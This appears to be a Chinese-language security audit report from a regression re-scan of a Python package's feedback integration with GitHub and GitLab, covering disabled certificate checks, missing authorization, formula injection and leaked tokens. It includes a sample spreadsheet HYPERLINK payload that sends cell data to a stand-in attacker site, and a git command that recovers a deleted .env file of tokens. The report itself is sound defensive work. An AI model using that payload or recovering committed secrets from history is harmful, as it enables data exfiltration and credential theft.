---
title: J3 檢查結果：有改動的整合與附件層（回歸重掃）
---

# J3 檢查結果：有改動的整合與附件層（回歸重掃）

> 檢查日期 2026-09-16｜對應卡片 CM-1828｜檢查範圍 25 個檔案

## 🔴 一句話結論

**淨新增 0 條——工具報的 5 條裡，2 條是舊案重複、2 條越界到別人的範圍、1 條被系統拒絕寫進正式報告。** 但這一棒真正的收穫是回答了卡片問的兩個問題：**FR-081 的舊結論全部仍然成立、一條都沒被修掉**（`verify=False` 兩處還在、CM-1633 的半套守門一行沒改），而**「同一批檔重掃會不會給出一致結論」的答案是：會，而且一致到近乎逐字相同**——這對工具的可信度是好消息，對「重掃能不能挖出新東西」則是壞消息。

**現況**：本棒確認未修的 CM-1632／CM-1633 → ✅ 已修（CM-2066，1.21.0 出貨）；CM-1630 → ✅ 已修（FR-114.1-7／CM-2030）；CM-1607 → ✅ 已修（CM-2048）。以下「仍成立／未修」是 09-16 掃描當下的狀態。

## 這一棒在檢查什麼

使用者在產品裡送「意見回饋」時，系統除了存進自己的資料庫，還可以**同時去 GitHub 或 GitLab 開一張真的問題單**，把附件一起送過去，也可以從第三方把專案成員名單拉回來。這一棒看的就是這段「跟外面的系統打交道」的程式。

這 25 個檔在 FR-081（2026-09-10）掃過一次，之後 FR-099 把主專案的意見回饋整組搬進套件時改了大約 120 行。所以這一棒有兩個目的：

1. **回歸確認**——舊結論在新版還成不成立，有沒有修了什麼或弄壞什麼。
2. **方法驗證**——第一次對同一批檔重掃，看工具會不會給出一致的結論。

掃描目標 `/Users/chouraymond/Projects/Jedicogy/module/jedi-python-package/jedi-issue`，revision `3cc966f8488d`（branch `feature/review`，工作區乾淨），mode `scan`，scope 25 個明確列出的檔案，effort `low`，focus `attack-surface`。

## Coverage

`low` 強度：一位研究員讀完 25 個檔案提報候選，加上因為有設 focus 而多跑的一次密鑰專項掃描；未做元件盤點、未做威脅建模、未跑廣度掃描，`completenessCheckOutcome` 為 `not-applicable`（掃指定範圍本就不跑盤點）。派出 2 位研究員、2 位都回報。驗證跑 1 輪、6 個候選去重後仍是 6 個，沒有候選遺失、沒有嚴重度被降低。本次 `coverage.research` 是空的，**所以沒有「哪些檔讀過、哪些沒讀」的記錄**——範圍內某個檔沒有發現，只代表沒有人對它提出發現，不代表它被證明乾淨。

**🔴 工具嚴重越界：5 條發現裡只有 1 條在指定範圍內。** 對照如下：

| 發現 | 檔案 | 在範圍內嗎 |
|---|---|---|
| F1 | `infra/issue/adapter/github/github_issue_adapter.py` | ✅ 是 |
| F2 | `api/routes/feedback_route.py` | ❌ 屬 J1 |
| F3 | `infra/github.py` | ❌ 屬 J1 |
| F4 | `app/feedback/service/feedback_service.py` | ❌ 屬 J1 |
| F5 | `jedi_issue/.env`（已刪，從版控歷史撈出） | ❌ 不在任何範圍 |

這與 J2 的形狀幾乎一樣（J2 是 4 條全越界）。**研究員追脈絡會跑出範圍，而檢查員只驗「這條成不成立」、不驗「這條在不在範圍內」**——這是工具的固定盲點，要靠人工比對範圍清單挑掉。

工具沒有實際執行任何程式碼：沒跑測試、沒發請求給 GitHub 或 GitLab、沒示範攻擊。所有發現都是讀原始碼、讀已安裝的 PyGithub 套件、讀 git 歷史推出來的。

## 掃到什麼：總覽表

| # | 嚴重度 | 這是什麼問題 | 出事會怎樣 | 要先有什麼才打得到 | 在哪裡 | 判定 |
|---|---|---|---|---|---|---|
| F1 | 🟡 中 | 連 GitHub 時**不檢查對方是不是真的 GitHub** | 網路中間人可假冒 GitHub，把公司的 GitHub 存取權杖整個拿走 | ①管理員已開啟 GitHub 整合（出貨預設關閉）②攻擊者要站在伺服器對外連線的路徑上 | `github_issue_adapter.py:40` | **重複 CM-1632**，位置行號更新（原報 43 行、現為 40 行） |
| F2 | 🟡 中 | 意見回饋的查、改、刪**只驗有沒有登入，不驗有沒有權限、也不驗是不是本人的** | 任何登入者都能看光、改掉、刪掉全公司所有人的意見回饋 | 持有這家客戶的任一帳號，直接打 API（不走前端） | `feedback_route.py:94` | **越界（屬 J1）＋重複 CM-1630**，不另計 |
| F3 | 🟡 中 | 同 F1 的另一處——共用的連線工廠 | 同 F1。只修一處沒用，權杖還是會從另一條路漏出去 | 同 F1 | `infra/github.py:22` | **越界（屬 J1）＋重複 CM-1632**，不另計 |
| F4 | 🟡 中 | 意見回饋匯出成 Excel 時，**沒有處理「等號開頭」的內容** | 攻擊者在標題塞一條試算表公式，管理員匯出並打開檔案時那條公式會執行 | ①任何能送回饋的登入者②管理員要匯出並用桌面試算表軟體打開 | `feedback_service.py:378` | **越界（屬 J1）＋重複 J1 的 F4**（已登記總表第 82 項），不另計 |
| F5 | ⚪ 低 | 舊的開發設定檔（裡面有 GitHub／GitLab 密碼）**還留在版控歷史裡** | 拿得到程式碼倉庫的人可以把密碼挖出來 | 讀得到 monorepo 的 git 歷史，或拿得到 Nexus 上兩個舊版套件檔 | `jedi_issue/.env`（已從最新版刪除） | **重複 CM-1573／CM-1607 舊案**，且**被系統拒絕寫進正式報告**（見下） |

**這一棒的淨新增：0 條。**

## 每條發現的詳述

### F1 — 連 GitHub 沒檢查對方身分（中，可信度高）｜重複 CM-1632

**這是什麼問題。** 你上網買東西時，瀏覽器會檢查「這個網站是不是真的 PChome」，靠的是一張數位證書。這個檢查如果關掉，任何人都能假冒 PChome，而你會把信用卡號送給他。這支程式就是把這個檢查關掉了，然後把公司的 GitHub 存取權杖（相當於帳號密碼）送出去。

**出事會怎樣。** 站在網路路徑上的人（公用 Wi-Fi、被入侵的公司網路設備、被動手腳的對外代理伺服器）可以假冒 GitHub，**把公司的 GitHub 存取權杖整個拿走**。那把權杖能做什麼取決於它的權限範圍，通常足以讀寫公司所有的程式碼。同一個位置也能竄改回傳給產品的問題單內容。

**要先有什麼才打得到。**
- 管理員已在後台開啟 GitHub 整合並填入權杖。**出貨預設是關閉的**，所以這是非預設設定。
- 攻擊者要能站在伺服器連往 api.github.com 的路徑上。

**在哪裡。** `jedi_issue/infra/issue/adapter/github/github_issue_adapter.py:40`，`GitHubIssueAdapter.init_config` 裡的 `Github(auth=auth, per_page=100, timeout=10, verify=False)`。

**怎麼修。** 拿掉 `verify=False`，讓套件用預設值（會檢查）。如果當初加這個是因為要連公司內部自架的 GitHub Enterprise、憑證是自簽的，正確做法是把憑證檔的路徑做成設定項，傳 `verify="/path/to/ca.pem"`，而不是整個關掉檢查。**必須與 F3 一起修**——只修一處，權杖還是會從另一條路漏出去。

**驗證。** 三位檢查員（可達性／影響／防禦）3:0 全票確認。他們一路追進已安裝的 PyGithub 2.6.1，確認這個旗標真的傳到底層網路連線（`MainClass.py:261` → `Requester.py:452,539`），且 `requests` 只有在旗標是 `True` 或 `None` 時才會恢復系統憑證庫，`False` 會一路保留。

**首腦核對註記。** 屬實，開檔逐行看過。**這就是 CM-1632，只是行號從 43 變成 40**（FR-099 搬家時檔案上方少了三行）。**FR-081 報過至今未修。**

### F2 — 意見回饋的查改刪只驗登入（中，可信度高）｜越界＋重複 CM-1630

**這是什麼問題。** 「誰能做什麼」的權限設定只做在前端選單上——沒有權限的人看不到那個按鈕，但只要他直接對後端發請求，後端**完全不檢查**，照做不誤。而且也不檢查「這筆回饋是不是他自己送的」。

**出事會怎樣。** 公司裡任何一個登入的人（包含角色被刻意限制、什麼回饋權限都沒給的帳號）可以：列出全公司所有人送過的意見回饋、把別人的回饋標題內容改掉、刪掉別人的附件、直接把回饋整筆刪除。這是資料完整性與可用性的損失，加上別人回報內容的外洩，而且**讓權限表上寫給管理員看的那條限制形同虛設**。

**要先有什麼才打得到。**
- 持有這家客戶的任一有效登入憑證。
- 直接呼叫 API，不走前端（前端是目前唯一有在遵守權限的地方）。

**在哪裡。** `jedi_issue/api/routes/feedback_route.py:94`（`FeedbackRoute.delete`）。整條路上只有 `@auth_required`，宿主把它接成單純的「有沒有登入」（`core/plugins/_host.py:208`），服務層與領域層都沒有比對 `created_user` 與呼叫者。需要的編號可以從清單端點拿到，因為清單端點（`feedback_route.py:35-46`）同樣只驗登入。套件自己的契約測試把現況寫死了：`tests/unittest/test_plugin_contract.py:148` 斷言有守門的端點就只有 `FeedbackExportRoute.post` 一支。

**怎麼修。** 照 `FeedbackExportRoute` 既有的形狀，在查、增、改、刪四支加 `@capability_required(...)`，權限名稱從 `plugin/contract.py:CAPABILITIES` 取（維持單一來源）。另外在 `FeedbackService` 的 `update_feedback()` / `delete_feedback()` / `delete_feedback_file()` 加「是不是本人」的檢查。

**驗證。** 3:0 全票確認。

**首腦核對註記。** 屬實，**但這是 J1 的範圍（`api/` 整層屬 J1），且就是 CM-1630**。J1 已報過並驗收過，**不另計**。

### F3 — 共用連線工廠也沒檢查對方身分（中，可信度高）｜越界＋重複 CM-1632

**這是什麼問題。** 與 F1 同一個毛病，在另一支檔案。這支是「共用的連線工廠」——附件功能和成員查詢都會呼叫它建連線。

**出事會怎樣。** 同 F1：權杖被中間人攔走，且回傳的問題單與成員資料可被竄改。

**要先有什麼才打得到。** 同 F1（整合要開啟、攻擊者要在路徑上）。

**在哪裡。** `jedi_issue/infra/github.py:22`，`get_github_client` 的 `return Github(auth=auth, per_page=100, timeout=10, verify=False)`。這是與 F1 不同的第二處硬寫死，不是同一行被看到兩次。

**怎麼修。** 同 F1。**兩處要一起修。**

**驗證。** 3:0 全票確認。

**首腦核對註記。** 屬實，**但 `infra/github.py` 屬 J1 範圍（越界），且就是 CM-1632 的第二處**。FR-081 I1 當時就把這兩處一起報進 CM-1632，不另計。

### F4 — 匯出 Excel 沒處理等號開頭的內容（中，可信度中）｜越界＋重複

**這是什麼問題。** 試算表軟體看到「=」開頭的格子會當成公式去執行。程式把使用者填的回饋標題原封不動寫進格子，所以使用者可以塞一條公式進去，等著別人打開檔案時執行。

**出事會怎樣。** 低權限的使用者可以在標題塞 `=HYPERLINK("https://攻擊者網站/x?d="&C2,"點我看詳情")`，管理員匯出報表、打開檔案、點了那個看起來無害的連結，隔壁格子的內容就被送到攻擊者的主機。另一種寫法（DDE）可以在管理員的電腦上執行指令，但那個會跳警告視窗、要管理員自己按同意。

**要先有什麼才打得到。**
- 任何能送回饋的登入者。
- 要有握有匯出權限的人（通常是管理員）真的匯出，並用桌面試算表軟體打開。
- 執行指令那種變體還要管理員按掉警告；偷資料那種只要點一下連結。

**在哪裡。** `jedi_issue/app/feedback/service/feedback_service.py:378`（`FeedbackService.export_feedbacks`）。路徑上唯一的處理是 `html_to_text`，它只拔 HTML 標籤，開頭的等號原封不動留著；而 openpyxl 看到等號開頭會主動把格子標記成公式（`cell.py:198-199`）。

**怎麼修。** 寫進格子之前，把開頭是 `=`、`+`、`-`、`@`、Tab、換行的值前面加一個單引號。CSV 跟 Excel 兩條路都要套同一個處理函式，每個欄位都要（包含標籤來的「功能」欄）。

**驗證。** 3:0 全票確認。可信度標「中」而非「高」，是因為能不能得手取決於受害者用哪套試算表軟體、以及他對警告視窗的反應——這兩件事程式碼管不到。

**首腦核對註記。** 屬實，**但 `app/feedback/` 屬 J1 範圍（越界），且 J1 已報過同一條並登記為總表第 82 項**，不另計。

### F5 — 舊設定檔的密碼還在版控歷史（低，可信度低）｜重複舊案＋被系統拒收

**這是什麼問題。** 很久以前有人把一個開發用的設定檔提交進版控，裡面寫著 GitHub 和 GitLab 的存取權杖。後來檔案被刪掉了，但**版控的歷史紀錄還留著那份內容**——任何人 clone 這個程式碼倉庫，都能把它撈回來。

**出事會怎樣。** 如果那兩把權杖沒有真的作廢，拿到的人可以存取公司的 GitLab 和 GitHub 倉庫。

**要先有什麼才打得到。**
- 讀得到 monorepo 的 git 歷史，或拿得到 Nexus 上 jedi-issue 0.0.14／0.0.15 這兩個舊版套件檔（那兩包是在防護措施加上去之前打的，裡面還夾著這個檔）。
- 權杖要還有效。**刪除的那筆 commit 訊息宣稱已經作廢，但這件事從程式碼看不出來**——這就是可信度標「低」的原因。

**在哪裡。** `jedi_issue/.env` 第 4 行（GitLab）與第 8 行（GitHub），已從最新版刪除，可用 `git show 5e3b9a3:jedi-issue/jedi_issue/.env` 撈出。檢查員確認這個內容從 `origin/main` 可達、歷史沒有被重寫過，所以每一份 clone 都帶著它。

**怎麼修。** 先用其他管道確認兩把權杖真的作廢了。把 Nexus 上 0.0.14／0.0.15 兩包下架。保留 `pyproject.toml` 的排除設定，並加一個提交前的密鑰掃描，避免開發者的 `.env` 再次進版控。

**驗證。** 3:0 全票確認。

**🔴 但這條被系統拒絕寫進正式報告，也是這次驗證章蓋 `unverified` 的唯一原因。** 產出工具的規則是「發現指向的檔案必須在掃描的樹裡看得到」，而這個檔已經刪了，所以它被擋在 JSONL 與 SARIF 之外，只留在人看的報告裡。**這不是投票失敗**——6 個候選全部投完、18 票零漏投。要分清楚：`unverified` 在這裡的意思是「有一條發現沒被寫進機器可讀的檔案」，不是「這次檢查沒跑完」。

**首腦核對註記。** 屬實，**但這是 CM-1573 舊案、已併入 CM-1607**。FR-081 的 I1 與 I3 都撈到過同一條。不另計。

## 卡片重點逐項人工查證

工具不照卡片清單走，所以七個重點逐項自己開檔查。**工具只碰到其中兩項（①的一半、②）**，其餘五項全部是人工查證。

### ① GitHub 附件降級改法（工具未報，人工查證）

**做了什麼改動。** 舊版拋 `NotImplementedError` → 上游用 `except Exception` 吞掉 → **整張問題單連標題內文一起沒建立**。新版改成：問題單照常建立、附件跳過、逐檔記一行 WARNING。

**卡片問的三件事，逐項答：**

**（a）跳過時使用者端知不知道？——不知道。** `github_issue_attachment.py:104-111` 只寫進伺服器的 log，回傳空清單。使用者端看到的是「回饋送出成功」，**畫面上沒有任何地方告訴他附件沒有送出去**。他以為附件跟著送了，實際上沒有。

**（b）WARNING 印的是檔名還是含內容？——只有檔名，沒有內容。** 第 103 行是 `skipped = [getattr(f, "filename", "<unnamed>") for f in files]`，只取檔名。**這點是安全的**——附件內容不會進 log。但要注意檔名本身是使用者可控的字串，會原樣進 log。

**（c）「靜默降級但有 log」與「明確拒絕」哪個才對？——這是產品決策，不是技術問題，標明待裁。**

兩邊的理由都成立：現在這樣做，至少問題單本體建得起來（舊版是整張單都沒了，明顯更糟）；但使用者被誤導以為附件送到了，而管理員要翻伺服器 log 才知道發生過。**第三條路是比較好的**：照常建立問題單、但在回應裡帶一個「附件未能送出」的提示，讓前端顯示。這需要改回應格式，屬產品決策。

**模組 docstring 已經把「為什麼不能補上上傳功能」寫清楚了**（GitHub 沒有可用存取權杖呼叫的附件上傳 API，唯二官方途徑語意都錯位），這段判斷首腦核對過，屬實、不需重議。要議的只有「使用者端要不要看得到」。

### ② CM-1632 兩處是否仍在＋GitLab 側有沒有同款（工具報了一半，人工補完）

**GitHub 兩處仍在，一行未改：**
```
jedi_issue/infra/github.py:22                                 verify=False
jedi_issue/infra/issue/adapter/github/github_issue_adapter.py:40  verify=False
```

**GitLab 側沒有同款問題。** 開檔查過 `infra/gitlab.py` 與 `gitlab_issue_adapter.py`，`gitlab.Gitlab()` 建構時**沒有傳 `ssl_verify` 參數**，套件預設是會檢查的。grep 整包也只有上面那兩處命中。**這是好消息：問題只在 GitHub 這半邊。**

### ③ 上游吞例外時會不會把權杖或網址帶進 log（工具未報，人工查證）

**本棒範圍內零命中。** grep 這 25 個檔的 `except Exception`、`logger.warning`、`logger.error`、`f"{e}"` —— **一個都沒有**。也就是說，GitLab／GitHub adapter 遇到錯誤是**直接把例外往上拋**，不在這一層做任何記錄或格式化。

**所以「被吞的那一側會外洩什麼」這個問題，在這一棒的範圍內不成立**——外洩風險（如果有）在 J1 那側的 `feedback_service.py` 六處 `except Exception: logger.warning`，取決於它怎麼格式化拋上來的例外。**那六處屬 J1 範圍，本棒不越界處理，但這個交接點要記下來**：adapter 拋的例外物件裡可能帶有第三方回應原文（PyGithub 的 `GithubException` 就帶完整回應 body），J1 那側若用 `f"{e}"` 格式化就會整段進 log。

**⚠️ 補充：`project_member/adapter` 兩支的確有 `except Exception as e: logger.error(f"Failed to ...: {e}")`**（GitHub 的 `remove_project_member`、GitLab 的三支）。這些在範圍內。查過它們捕捉的是 PyGithub／python-gitlab 的例外，**訊息裡會帶第三方 API 的回應內容，但不會帶權杖本身**（權杖在請求標頭裡，不在回應裡）。判定：**不是外洩權杖的路徑，但會把第三方回應原文寫進 log，與總表既有的「log 印 request body」follow-up 同類**，不另計。

### ④ 附件路徑與檔名（工具未報，人工查證）

**（a）CM-1633「刪除檢查半套」在哪一支、修了沒？——在 `local_issue_attachment.py`，一行未改。**

實查 `local_issue_attachment.py` 的行號與現況：
```
第 87 行   matched_file_uids = file_uids_set & issue_file_uid_set   ← 算出「真的屬於這張單的」
第 88 行   if not matched_file_uids: return False                   ← 只要有一個對得上就放行
第 91 行   delete_issue_file_mapping(file_uids=list(matched_file_uids))  ← 用【過濾後】的 ✅
第 98 行   self.file_upload_service.delete_files(file_uids)              ← 用回【沒過濾】的 ❌
```
**與 FR-081 I3 首腦當時描述的一模一樣，只是行號從 85/88/90/92/99 位移到 83/87/88/91/98。CM-1633 至今未修。**

**（b）本地存檔路徑怎麼組，檔名可控會不會路徑穿越？——路徑本身安全。** `local_issue_attachment.py:52` 是 `save_dir = os.path.join("issue", issue_uid)`，只用 issue 編號組目錄，**沒有把使用者提供的檔名接進路徑**。檔名的處理在 `jedi_file_upload` 套件裡（本棒範圍外），這裡只是把 `FileStorage` 整個交出去。**判定：這 25 個檔裡沒有路徑穿越的入口。**

**（c）GitLab `upload()` 回的連結會不會原樣進 issue 內文？——會，但這是 GitLab 自己產的網址，不是使用者可控的。** `gitlab_issue_attachment.py` 的 `upload_attachment` 把 `uploaded_file["url"]` 直接組進留言內文 `"附件連結 [attached file]({})"`。那個網址由 GitLab 伺服器回傳（格式 `/uploads/<hash>/<檔名>`），**檔名那一段來自使用者**。理論上檔名含 `)` 可以破壞 Markdown 連結語法，但影響僅止於該留言顯示錯亂，**不構成資安問題**（GitLab 那側自己會處理跳脫）。判定：不另計。

### ⑤ 成員 adapter 與 CM-1807 修正（工具未報，人工查證）

**（a）CM-1807「查無回 None」修好了，呼叫端有處理。** `member_repostiory.py:35-38` 有明確的防護與註解（「查無此人不可丟給 mapper——to_entity 第一行就存取 `.uid`，會 AttributeError（CM-1807）」）。`update()` 與 `delete()` 同樣都先檢查 `if not member` 再動作。**這條已修，沒有回歸。**

**（b）第三方成員清單拿回來存哪、有沒有租戶欄？——存進 `members` 表，🔴 沒有租戶欄，確認總表第 7 項成立。**

實查 `infra/member/models/member.py`：`Members` 表的欄位是 `id / uid / project / username / email / role / type / enabled`，**沒有 `tenant_id`、沒有 `org_unit_id`，任何可以區分「這筆屬於哪家客戶」的欄位都沒有**。流程是 `ProjectMemberService.sync_project_members()` 從 GitHub／GitLab 拉回成員後，整批寫進這張表（`member_repostiory.py:create`）。

**這代表什麼**：如果同一套系統服務多家客戶，A 公司同步進來的 GitHub 成員名單與 B 公司的會**混在同一張表裡，而且分不開**。這正是總表 §3.1 第 7 項所描述的狀況，**本棒從資料表定義這一側再次確認，不另計新項**。

### ⑥ 兩個 entity 改成 dataclass 後，必填有沒有變選填（工具未報，人工查證）

**沒有，兩支都維持原樣，而且檔頭有明確註解守著這件事。**

- `MemberEntity`：前五個欄位 `project / username / email / role / type` **都沒有預設值**（漏傳會當場 TypeError），只有 `uid` 是 `Optional[str] = None`。檔頭註解明寫「不可順手給前五個補預設值——那會把『漏傳』從當場炸掉變成安靜存進一筆空欄位的成員」。
- `IssueUploadFileEntity`：`issue_uid` 與 `file_uid` 兩個都沒有預設值。

**判定：沒有踩到 FR-095 P1 §3.2 第 17 項那種「查無回固定空值讓權限測試假通過」的同型問題。改 dataclass 的那一棒守住了。**

### ⑦ 一致性對照：FR-081 舊結論在新版還成不成立

這是卡片問的核心問題。逐條列：

| FR-081 的結論 | 本棒工具說 | 本棒人工查證說 |
|---|---|---|
| **I1 第 1 條**：`github_issue_adapter.py` 關掉憑證檢查（CM-1632） | ✅ **仍成立**（報為 F1，行號 43→40） | ✅ 仍成立，開檔確認 |
| **I1 第 2 條**：`infra/github.py` 關掉憑證檢查（CM-1632） | ✅ **仍成立**（報為 F3） | ✅ 仍成立，開檔確認 |
| **I1 第 3 條**：`.env` 密碼留在版控歷史（CM-1607） | ✅ **仍成立**（報為 F5） | ✅ 仍成立 |
| **I3：工具在 14 檔內 0 條新發現** | ✅ **一致**——本棒工具在附件相關檔案裡同樣 0 條新發現 | — |
| **I3 首腦補查的 CM-1633（刪除守門半套）** | ❌ **工具再次沒報**（與 FR-081 當時三位檢查員 3:0 否決一致） | ✅ **仍成立且未修**，一行未改 |
| **I5 第 4 條：內部套件倉庫走明文 HTTP（CM-1634）** | ➖ 不適用（`pyproject.toml` 不在本棒範圍） | ➖ 未查 |

**方法驗證的答案：工具重掃給出的結論高度一致。** 三條會落在本棒範圍附近的舊發現，工具全部重新找到，連嚴重度判定（都是 MEDIUM）、修法建議都幾乎逐字相同。**這對工具的穩定性是好消息。**

**但同時要看清楚另一面：重掃沒有挖出任何新東西，而且工具第二次一樣沒報 CM-1633。** 那個「算了過濾結果卻只用一半」的錯誤擺在那裡兩次，兩次都沒被報出來——因為檢查員的推論停在「現在打得到嗎」，答案是打不到（只有一個呼叫點、只傳一個編號進來），所以判定不成立。**這印證了首腦手冊第三節第 4 點：報出來的都真，沒報的不保證。**

## 這份結果可信到什麼程度

**分兩層講，兩層差很多。**

**第一層：「報出來的這些是真的嗎？」——可信度高。**

6 個候選全部走完三位檢查員投票，18 票零漏投，5 條 3:0 通過、1 條 0:3 駁回。首腦對 5 條全部開檔核對，位置與描述都對得上。人工查證的七個重點也全部是開檔看到的事實，不是推論。

**關於驗證章上的 `unverified`：原因很單純且無害**——F5 指的檔案已經從最新版刪掉，產出工具規定「發現指向的檔案要在樹裡看得到」，所以拒收它、章就蓋 `unverified`。**投票本身是完整的。** 不要把這個標記讀成「這次檢查沒跑完」。

**第二層：「是不是只有這些？」——可信度低，這一棒對指定範圍的覆蓋不足。**

三個理由：

1. **🔴 工具在指定的 25 個檔裡只產出 1 條發現，其餘 4 條都跑到範圍外。** 與 J2（4 條全越界）是同一個形狀。所以對這 25 個檔，工具的實際覆蓋非常薄——這份報告裡關於這 25 個檔的結論，**主要來自首腦人工查證的七個重點**，而人工查證只覆蓋卡片列的重點，沒有掃過重點以外的角落。
2. **沒有讀取軌跡記錄。** 本次 `coverage.research` 是空的，無法回答「哪些檔讀過、哪些沒讀」。
3. **這個套件的註解極度詳盡且處處自我辯護**——幾乎每個可疑設計旁邊都有一段說明為什麼它是安全的（附件降級、adapter 註冊不可刪、dataclass 欄位順序、regex 的反斜線陷阱）。這次抽查的幾處都屬實，**但正因為讀起來很有說服力，工具容易被說服而不去驗證**。J2 報告已經記過這個現象，本棒再次觀察到。

**結論：這 25 個檔不能算「掃過且乾淨」，只能算「回歸確認完成——舊結論全部仍成立、沒有新增問題被找出來」。** 回歸這個目的達成了；「只有這些嗎」這個問題，這一棒答不了。

## 執行概況（數字表，工程師看的）

| 項目 | 數字 |
|---|---|
| 檢查範圍 | 25 個明確列出的檔案（整合 adapter 6＋附件 4＋成員 4＋app 服務 3＋entity 2＋DTO 與 `__init__` 6） |
| 檢查強度 | 最低（`low`），focus `attack-surface`（跳過測試與第三方目錄，另跑一次密鑰專項掃描） |
| 候選問題 → 去除重複 | 6 → 6 |
| 投票數 | 18（6 條候選 × 3 位檢查員），全數投出、沒有漏投 |
| 投票結果 | F1／F2／F3／F4／F5 全部 3:0 通過；1 條 0:3 駁回（見下） |
| 被駁回的候選 | 1 條——指 `local_issue_attachment.py:98` 的 `file_uids` 未過濾。三位檢查員一致認為「唯一的呼叫路徑只傳一個編號進來，所以現有檢查等於完整過濾」。**這正是 CM-1633，第二次被工具否決。首腦維持 FR-081 的判定：程式本身寫錯了，只是現在打不到。** 編號跳號（F1–F5 卻有 F6 存在過）就是因為它被駁回 |
| 沒投到票的／投票中斷的／被降低嚴重度的 | 0／0／0 |
| 研究員派出／回收 | 2／2 |
| 驗證章狀態 | `unverified`（唯一原因：F5 的檔案已刪，被產出工具拒收，投票完整） |
| 掃描耗時 | 8093 秒（約 2 小時 15 分） |
| 掃描當下的程式碼版本 | commit `3cc966f8488d`，branch `feature/review`，工作區乾淨 |
| scan_id / workflow run | `b22e038e-3345-4b81-9fbd-99a6da2bf89e` / `wf_876d07d8-2d1` |
| 報告落點 | `jedi-issue/CLAUDE-SECURITY-20260916-110741/`（該目錄有自己的 `.gitignore`，不進版控） |
| 🔴 範圍內發現 | **1 條**（F1，且為 CM-1632 重複）；其餘 4 條越界 |
| 🔴 淨新增 | **0 條** |
| 首腦人工補查 | 卡片七個重點逐項查證，其中五項工具完全沒碰 |
| 對總表的影響 | **無新增項目**；確認第 7 項（`members` 表無租戶欄）成立、CM-1630／CM-1632／CM-1633／CM-1607 四張舊卡掃描當時全部未修（現況：皆已由新卡修掉，見上方現況） |

## 待決策者裁示

1. **GitHub 附件跳過時，要不要讓使用者看得到？**（重點①c）現在是問題單照建、附件靜默跳過、只寫伺服器 log，使用者以為附件送到了。建議第三條路：回應裡帶「附件未能送出」讓前端顯示。屬產品決策，要改回應格式。
2. **這 25 個檔要不要重掃一次。** 工具本次實際覆蓋很薄（範圍內只產出 1 條，且是已知舊案）。**但要先想清楚重掃能得到什麼**——本棒已證明工具對同一批檔會給出高度一致的結論，再掃一次大機率還是這幾條。若要提高覆蓋，該換的是方法（例如限制工具不得越界、或改用人工逐檔審），不是重跑同一套。
3. **CM-1632／CM-1630／CM-1633 三張舊卡要不要排修。** 本棒確認當時全部未修（**現況**：已修，CM-2066／FR-114.1-7）。其中 CM-1632（兩處 `verify=False`）修法明確、風險低、兩行就好；CM-1633 更是一行。
